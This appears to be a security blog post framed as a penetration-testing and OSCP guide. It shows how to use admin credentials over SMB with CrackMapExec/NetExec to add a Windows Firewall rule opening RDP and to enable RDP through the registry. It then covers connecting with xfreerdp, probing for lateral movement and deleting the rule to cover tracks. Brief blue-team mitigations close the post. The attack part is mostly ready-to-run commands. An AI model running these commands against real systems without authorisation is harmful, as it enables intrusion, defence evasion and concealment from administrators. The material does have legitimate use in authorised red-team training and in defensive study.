Listen to this Post
Introduction:
During penetration tests or OSCP exams, you may gain admin credentials but find critical ports like RDP or WinRM blocked. This guide demonstrates how to bypass firewall restrictions using SMB and CrackMapExec (or NetExec) to enable remote access—even when traditional methods fail.
Learning Objectives:
- Leverage SMB to remotely modify Windows Firewall rules
- Use CrackMapExec (
nxc) to execute commands on a target system - Verify and exploit newly opened RDP ports
You Should Know:
1. Prerequisite: Verify SMB Access
Before manipulating the firewall, confirm SMB access using CrackMapExec:
nxc smb <TARGET_IP> -u <USERNAME> -p <PASSWORD> --shares
What This Does:
- Checks if the target’s SMB service is accessible.
- Lists available shares (e.g.,
C$,ADMIN$), confirming admin-level access.- Remotely Add a Firewall Rule for RDP
With admin rights, use `nxc` to execute a PowerShell command:nxc smb <TARGET_IP> -u <USERNAME> -p <PASSWORD> -X 'netsh advfirewall firewall add rule name="AllowRDP" dir=in action=allow protocol=TCP localport=3389'
- Remotely Add a Firewall Rule for RDP
Step-by-Step:
1. `netsh advfirewall`: Invokes Windows’ firewall management tool.
add rule: Creates a new rule named “AllowRDP.”dir=in action=allow: Allows inbound traffic on port 3389 (RDP).
3. Verify the Rule Was Added
Execute this command on the target:
nxc smb <TARGET_IP> -u <USERNAME> -p <PASSWORD> -X 'netsh advfirewall firewall show rule name="AllowRDP"'
Expected Output:
- Confirms the rule’s status, including `Enabled=Yes` and
Action=Allow.
4. Enable RDP Service (If Disabled)
Ensure the Remote Desktop service is running:
nxc smb <TARGET_IP> -u <USERNAME> -p <PASSWORD> -X 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
Key Details:
- Modifies the registry to enable RDP (
fDenyTSConnections=0).
5. Exploit the New RDP Access
Connect via RDP:
xfreerdp /v:<TARGET_IP> /u:<USERNAME> /p:<PASSWORD> +clipboard
Post-Exploitation Tips:
- Use `+clipboard` to share clipboard between host/target.
- Check for lateral movement opportunities (e.g.,
net users /domain).
6. Cover Your Tracks (Optional)
Remove the firewall rule post-exploitation:
nxc smb <TARGET_IP> -u <USERNAME> -p <PASSWORD> -X 'netsh advfirewall firewall delete rule name="AllowRDP"'
7. Mitigation: Defending Against This Technique
For Blue Teams:
- Monitor SMB logs for unusual `netsh` or `reg` commands.
- Restrict SMB access to administrative users.
- Implement endpoint detection for
nxc/crackmapexecartifacts.
What Undercode Say:
- Key Takeaway 1: SMB is a powerful vector for lateral movement and firewall evasion, especially with admin credentials.
- Key Takeaway 2: CrackMapExec simplifies post-exploitation by combining SMB access with command execution.
Analysis:
This technique highlights the risks of overprivileged SMB access in Windows environments. While useful for red teams, defenders must audit firewall rules and monitor SMB activity. Future Windows updates may restrict remote `netsh` execution, but for now, this remains a viable attack path.
Prediction:
As attackers increasingly abuse legitimate tools like nxc, expect Microsoft to harden SMB and firewall management interfaces. Meanwhile, blue teams should prioritize segmenting SMB traffic and deploying behavioral analytics to detect anomalous command execution.
IT/Security Reporter URL:
Reported By: Activity 7354512649910456323 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
